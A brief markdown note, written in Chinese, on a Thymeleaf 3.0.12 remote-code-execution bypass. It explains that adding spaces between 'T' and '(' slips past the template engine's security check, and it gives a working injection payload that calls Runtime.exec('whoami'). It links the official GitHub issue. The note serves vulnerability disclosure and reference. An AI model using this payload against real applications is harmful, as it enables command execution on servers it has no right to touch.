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    Thymeleaf 3.0.12 RCE Bypass.md
    369 B / 2021-05-21 09:14:38
        # Thymeleaf 3.0.12 RCE Bypass
    
    问题详情可以见:https://github.com/thymeleaf/thymeleaf/issues/828
    
    通过更改表达式可以进行绕过安全检查,在T和(之间添加若干个空格字符即可绕过检查进行RCE。
    
    Payload:
    
    ```
    ${T (java.lang.Runtime).getRuntime().exec("whoami")}
    
    ```
    
    官方issue:https://github.com/thymeleaf/thymeleaf/issues/828
    
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